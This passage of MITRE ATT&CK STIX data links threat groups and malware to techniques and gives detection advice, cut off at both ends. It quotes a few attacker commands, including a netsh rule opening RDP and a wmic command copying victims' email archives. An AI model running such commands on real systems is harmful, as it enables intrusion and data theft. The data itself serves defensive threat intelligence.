","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a81c971e-732c-4e76-99ad-c7108642dd47","created":"2019-01-30T15:27:06.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant APT1 Appendix","description":"Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.","url":"https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-26T19:55:54.859Z","description":"[Seasalt](https://attack.mitre.org/software/S0345) is capable of installing itself as a service.(Citation: Mandiant APT1 Appendix)","relationship_type":"uses","source_ref":"malware--b45747dc-87ca-4597-a245-7e16a61bc491","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a81d9eda-e4f6-4fc6-8f7c-c3f6d56c4dc8","created":"2024-10-07T22:37:11.038Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T22:37:11.038Z","description":"Monitoring the content of network traffic can help detect patterns associated with active scanning activities. This can include identifying repeated connection attempts, unusual scanning behaviors, or probing activity targeting multiple IP addresses across a network.","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a81df141-ff2a-4be9-a6ea-c5b19d29bc0e","created":"2022-09-29T18:05:16.468Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T18:05:16.468Z","description":"During [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used Base64-encoded strings.(Citation: DFIR Conti Bazar Nov 2021)","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a821988a-269f-452b-ab59-5cbb3357f2f6","type":"relationship","created":"2021-11-19T19:19:44.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"modified":"2021-11-19T19:19:44.338Z","description":"[Clambling](https://attack.mitre.org/software/S0660) can execute binaries through process hollowing.(Citation: Trend Micro DRBControl February 2020)","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a822d946-b839-469a-90bf-fbe699faf160","type":"relationship","created":"2021-10-01T01:57:31.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-10-01T01:57:31.867Z","description":"(Citation: Unit 42 Hildegard Malware)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"malware--40a1b8ec-7295-416c-a6b1-68181d86f120","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8241c03-c375-459e-b47a-f03b3c4af29a","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor for unusual processes access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a829622f-60cf-4e24-afce-fb89270e95cb","type":"relationship","created":"2020-03-20T00:22:39.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"},{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2020-03-20T00:22:39.402Z","description":"[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors have used [gsecdump](https://attack.mitre.org/software/S0008) to dump credentials. They have also dumped credentials from domain controllers.(Citation: Dell TG-3390)(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a83182d2-b619-4ca4-984b-21ecfe43da26","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:14.106Z","description":"[RTM](https://attack.mitre.org/software/S0148) monitors browsing activity and automatically captures screenshots if a victim browses to a URL matching one of a list of strings.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8362ccc-cf32-4f36-a4a3-cfcf70dd4c54","created":"2024-02-09T18:43:11.857Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T18:43:11.857Z","description":"(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"malware--647215dd-29a6-4528-b354-ca8b5e08fca1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a83683c2-87ee-486e-bb21-0d511c5461ef","created":"2022-05-26T14:43:14.988Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-11T20:27:55.538Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has added the following rule to a victim's Windows firewall to allow RDP traffic - `\"netsh\" advfirewall firewall add rule name=\"Terminal Server\" dir=in action=allow protocol=TCP localport=3389`.(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a83992e1-5be5-433e-b3f1-d9ccde98c9ca","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-30T03:01:04.825Z","description":"[OwaAuth](https://attack.mitre.org/software/S0072) DES-encrypts captured credentials using the key 12345678 before writing the credentials to a log file.(Citation: Dell TG-3390)","relationship_type":"uses","source_ref":"malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a83e6a0f-fc31-472f-bffd-135dfc5ce683","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"},{"source_name":"FireEye Know Your Enemy FIN8 Aug 2016","description":"Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.","url":"https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T14:40:50.929Z","description":"[FIN8](https://attack.mitre.org/groups/G0061) has attempted to map to C$ on enumerated hosts to test the scope of their current credentials/context. [FIN8](https://attack.mitre.org/groups/G0061) has also used smbexec from the [Impacket](https://attack.mitre.org/software/S0357) suite for lateral movement.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a840fb6f-9a16-496b-b148-bc6fe40b8160","type":"relationship","created":"2022-03-30T14:26:51.862Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.862Z","description":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}]},{"type":"relationship","id":"relationship--a8484e9d-ad08-4d2c-8328-24552dd22f35","created":"2020-07-15T19:02:25.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR_Quantum_Ransomware","description":"DFIR. (2022, April 25). Quantum Ransomware. Retrieved July 26, 2024.","url":"https://thedfirreport.com/2022/04/25/quantum-ransomware/"},{"source_name":"IBM IcedID November 2017","description":"Kessem, L., et al. (2017, November 13). New Banking Trojan IcedID Discovered by IBM X-Force Research. Retrieved July 14, 2020.","url":"https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/"},{"source_name":"Juniper IcedID June 2020","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020.","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-17T20:34:14.808Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has the ability to download additional modules and a configuration file from C2.(Citation: IBM IcedID November 2017)(Citation: Juniper IcedID June 2020)(Citation: DFIR_Quantum_Ransomware)(Citation: Latrodectus APR 2024)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a848dadb-f97f-4ded-a28e-a1c9954804a6","type":"relationship","created":"2020-10-09T16:24:40.149Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-09T17:02:21.761Z","description":"[Maze](https://attack.mitre.org/software/S0449) has created scheduled tasks using name variants such as \"Windows Update Security\", \"Windows Update Security Patches\", and \"Google Chrome Security Update\", to launch [Maze](https://attack.mitre.org/software/S0449) at a specific time.(Citation: Sophos Maze VM September 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8519c68-ab22-4254-bd22-c76b71de1b9e","created":"2021-01-20T18:13:37.568Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.426Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used multiple password spraying attacks against victim's remote services to obtain valid user and administrator accounts.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a854160c-308d-4221-92b4-1ab5ce2b7291","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor newly executed processes that may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--7d57b371-10c2-45e5-b3cc-83a8fb380e4c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a86529ff-e584-4566-afb9-6ffc366fd154","created":"2023-09-06T14:23:26.806Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.642Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to execute the `net start` command.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8689b2d-917b-432d-97ea-7b06a2da0bee","type":"relationship","created":"2020-02-11T18:30:21.127Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:30:21.127Z","relationship_type":"revoked-by","source_ref":"attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39","target_ref":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a868dec8-2bfc-449e-b720-d4e6c7e37d13","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a86e40b2-0ee0-4f70-b32f-80b1bcde9948","created":"2022-08-30T14:17:01.017Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"","modified":"2022-08-30T14:17:01.017Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8730dc5-9f3b-449d-8b17-f5a6638aaac4","created":"2021-01-22T16:47:23.281Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.426Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has harvested data from victim's e-mail including through execution of wmic /node: process call create \"cmd /c copy c:\\Users\\\\\\backup.pst c:\\windows\\temp\\backup.pst\" copy \"i:\\\\\\My Documents\\.pst\"\ncopy.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a877e5c0-3fe6-40bb-bd02-ef4a9465aba3","created":"2022-08-09T18:40:50.921Z","x_mitre_version":"0.1","external_references":[{"source_name":"Unit 42 PingPull Jun 2022","url":"https://unit42.paloaltonetworks.com/pingpull-gallium/","description":"Unit 42. (2022, June 13). GALLIUM Expands Targeting Across Telecommunications, Government and Finance Sectors With New PingPull Tool. Retrieved August 7, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":" [PingPull](https://attack.mitre.org/software/S1031) variants have the ability to communicate with C2 servers using ICMP or TCP.(Citation: Unit 42 PingPull Jun 2022)","modified":"2022-08-24T20:30:37.403Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--3a0f6128-0a01-421d-8eca-e57d8671b1f1","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a87a63cc-7920-4b23-a804-d1ad94ffc120","created":"2022-06-14T15:10:00.537Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Lyceum October 2021","url":"https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf","description":"Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kevin](https://attack.mitre.org/software/S1020) can create directories to store logs and other collected data.(Citation: Kaspersky Lyceum October 2021)","modified":"2022-08-31T16:45:29.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e7863f5d-cb6a-4f81-8804-0a635eec160a","target_ref":"attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a881d020-95c1-4123-98d0-c31cb8d2ff4e","created":"2023-09-27T20:31:56.532Z","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-27T20:31:56.532Z","description":"[NightClub](https://attack.mitre.org/software/S1090) can load multiple additional plugins on an infected host.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--91c57ed3-7c32-4c68-b388-7db00cb8dac6","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a8822aba-51e7-44de-91f0-24e84390ee7c","created":"2024-02-09T19:44:25.497Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T19:44:25.497Z","description":"[SLIGHTPULSE](https://attack.mitre.org/software/S1110) can RC4 encrypt all incoming and outgoing C2 messages.(Citation: Mandiant Pulse Secure Zero-Day April 